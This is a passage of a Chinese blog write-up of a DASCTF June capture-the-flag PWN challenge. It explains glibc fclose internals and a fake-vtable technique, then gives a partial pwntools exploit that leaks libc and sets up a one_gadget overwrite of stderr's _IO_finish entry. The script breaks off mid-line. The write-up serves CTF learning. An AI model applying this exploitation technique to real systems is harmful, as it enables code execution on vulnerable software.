DASCTF六月赛部分赛题复现

PWN

secret(伪造vtable)

在这里插入图片描述

这题当时比赛的时候找到了先知上的一篇文章,研究了它的代码想在本题复现,但是总是不成功
看了大佬们的博客,发现这题居然这么简单Orz

简单说一下这题的原理:
在这里插入图片描述

本题先close了stdout,然后给写两字节和0x18字节的机会,之后close stderr和stdin

那么我们先分析一下fclose的源码,其核心函数是位于/libio/iofclose.c的_IO_new_fclose函数,其大致流程是:首先检查文件结构体指针,之后使用_IO_un_link将文件结构体从_IO_list_all链表取下,_IO_file_close_it会最终调用系统调用关闭文件描述符,之后调用_IO_FINISH(fp),如果并非stdin/stdout/stderr最后调用free(fp)释放结构体指针。关于fclose等函数的详细分析可以参见IO FILE 之fclose 详解

而_IO_jump_t的结构如下:链接

struct _IO_jump_t
{
   
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

因为我们只有0x18的写长度,因此只能写到_IO_finish。在这里我们用不到2字节的写,我们只需要把stderr的vtable中_IO_finish的地址改成one_gadget即可

from pwn import *

#r = remote("183.129.189.60", 10030)
r = remote("127.0.0.1", 10001)
#r = process("./secret3")
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *$rebase(0x1255)
	
	''')

libc = ELF("./libc/libc-2.29.so")
one_gadget_19 = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]

r.recvuntil("I give you a secret:")
printf = int(r.recvuntil('\n').strip(), 16)
success("printf:"+hex(printf))

libc.address = printf - libc.sym['printf']
libc_base = libc.address
success("libc:"+hex(libc_base))
stdin = libc.sym['_IO_2_1_stdin_']
stdout = libc.sym['_IO_2_1_stdout_']
stderr 
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值